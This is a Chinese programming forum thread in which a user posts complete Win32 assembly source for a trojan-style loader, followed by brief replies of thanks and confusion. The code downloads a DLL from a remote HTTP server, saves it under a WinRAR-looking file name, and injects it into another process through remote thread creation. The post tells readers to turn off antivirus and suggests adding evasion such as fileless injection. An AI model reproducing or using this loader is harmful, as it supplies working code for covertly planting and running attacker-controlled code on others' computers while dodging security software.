鱼C论坛

 找回密码
 立即注册
查看: 13894|回复: 45

[技术交流] Win32汇编实现——《DLL远程下载线程注入进程隐藏》

  [复制链接]
发表于 2013-3-17 06:37:05 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
前记:之前发了个伪病毒的帖子,结果沉了...今天再发一个类似的,看能沉多快!

DLL远程线程注入:

      这个很多人应该都不陌生,一种木马惯用的手段......网上例子都是C++编写,对于不熟悉C++的朋友来说阅读起来有一定困难,故写此贴,希望能给那些学完汇编想从事安全的鱼油一个启示!

前期工作:
      1.编写一个DLL文件,实现某种功能......语言不限,VC,win32汇编...都可以!
      2.搭建一个简单的HTTP服务器,放置你的DLL文件,如:Hfshttp
      3.关闭杀软,没有免杀,故!开搞...
实现功能:
      很简单,程序首先从后台和HTTP服务器建立连接并下载HTTP服务器上指定的DLL文件,然后生成在本地某个文件夹内,再打开需要注入的进程,注入DLL文件!实现进程隐藏!

升级内容:
      免杀方面,直接网络注入,实现本地无DLL文件!打乱PE代码注入等...请鱼油添加!
注:源码简洁,如有不妥之处,请回帖纠正!只用于学习....
PS一句,有北京的鱼油吗? 没事搞基......
再PS一句,甲鱼....

源码:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;                                    《DLL远程下载线程注入——进程隐藏》                 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 环境:win7,32位操作系统;使用 RadAsm顺利通过编译和链接
;>>>>>>>>>>>>>>>>>>>>>>>>>>>By——小生  BBS.FISHC.COM>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>转帖请注明出处,谢谢>>>>>>>>>>

include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
include wininet.inc
includelib wininet.lib
.data
sz1 db 'Testing',0
sz2 db 'http://192.168.1.100/1.dll',0                       ;远程文件路径
sz3 db'C:\Program Files\WinRAR\RarExk.dll',0       ;生成文件目录
mb  db 2560 dup(?)           ;DLL文件大小,单位字节
hh  dd ?
h2  dd ?
h3  dd ?
wCaption      db         '开始',0          ;开始按钮标题
KerDll           db         'kernel32.dll',0        
LoadLib        db         'LoadLibraryA',0                     
.data?        
Pid                 dd         ?         
hProcess       dd         ?         
Pcode            dd         ?      
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>转帖请注明出处,谢谢>>>>>>>>>                           
.code
qq proc
invoke FindWindow,NULL,addr wCaption ;获取窗口句柄
invoke GetWindowThreadProcessId,eax,addr Pid;获取进程ID
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,Pid    ;打开进程            
mov     hProcess,eax
invoke VirtualAllocEx,hProcess,NULL,sizeof sz3,MEM_COMMIT,\
    PAGE_EXECUTE_READWRITE ;申请内存空间
mov     Pcode,eax
invoke WriteProcessMemory,hProcess,Pcode,offset sz3,sizeof sz3,NULL;写内存
invoke LoadLibrary,addr KerDll;加载DLL
invoke GetProcAddress,eax,addr LoadLib;检索函数地址
invoke CreateRemoteThread,hProcess,NULL,NULL,eax,Pcode,NULL,NULL;创建进程
ret
qq endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>转帖请注明出处,谢谢>>>>>>>>>

ww proc
invoke InternetOpen,offset sz1,INTERNET_OPEN_TYPE_PRECONFIG,\
       NULL,NULL,0    ;创建链接
invoke InternetOpenUrl,eax,offset sz2,NULL,0,INTERNET_FLAG_RELOAD,0 ;下载文件
mov h3,eax
invoke InternetReadFile,eax,offset mb,sizeof mb,offset hh   ;读取数据
invoke CreateFile,offset sz3,GENERIC_WRITE,FILE_SHARE_WRITE,0,\
   OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 ;创建文件
mov h2,eax
invoke WriteFile,eax,offset mb,sizeof mb,offset hh,0 ;写入文件
invoke CloseHandle,h2    ;关闭文件
call qq
ret
ww endp
start:
call ww
invoke ExitProcess,0
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>转帖请注明出处,谢谢>>>>>>>>>>


切勿浮沙筑高楼....




小甲鱼最新课程 -> https://ilovefishc.com
发表于 2018-5-1 10:26:46 | 显示全部楼层
ding!
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

头像被屏蔽
发表于 2017-9-19 19:52:50 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-9-13 20:13:50 | 显示全部楼层
支持下
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-9-10 11:59:03 | 显示全部楼层
根本看不懂,现在连王爽的书还没看完,谢谢学长了。

以后WIN32也是我的一个方向。
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-9-5 08:44:25 | 显示全部楼层
谢谢楼主
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-4-26 17:38:04 | 显示全部楼层
:sad还行吧。。。。。。
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-4-13 18:15:06 | 显示全部楼层
不懂啊
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-4-4 17:19:41 | 显示全部楼层
小甲鱼最新课程 -> https://ilovefishc.com
回复

使用道具 举报

发表于 2015-4-2 21:04:28 | 显示全部楼层
还在学到第三章,,看不懂:dizzy:
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-3-31 18:31:32 | 显示全部楼层
学习学习
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-3-31 12:50:19 | 显示全部楼层
这个是做什么的
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-3-29 11:59:30 | 显示全部楼层
不明觉厉,马克一下
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-3-27 00:15:55 | 显示全部楼层
寻找我想要的东西
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2013-9-9 17:36:33 | 显示全部楼层
赞!.................
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2013-9-8 14:45:00 | 显示全部楼层
楼主是个好人 好人一生平安
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2013-8-31 20:27:27 | 显示全部楼层
{:1_1:}很厉害的样子...反汇编   任重道远啊..啊
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2013-8-31 14:47:43 | 显示全部楼层
高手在鱼C很厉害
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2013-6-28 09:23:41 | 显示全部楼层
支持一下,劳主的的分析和用心
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2013-6-27 21:00:47 | 显示全部楼层
好东东啊,看看
小甲鱼最新课程 -> https://ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-10-15 05:17

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表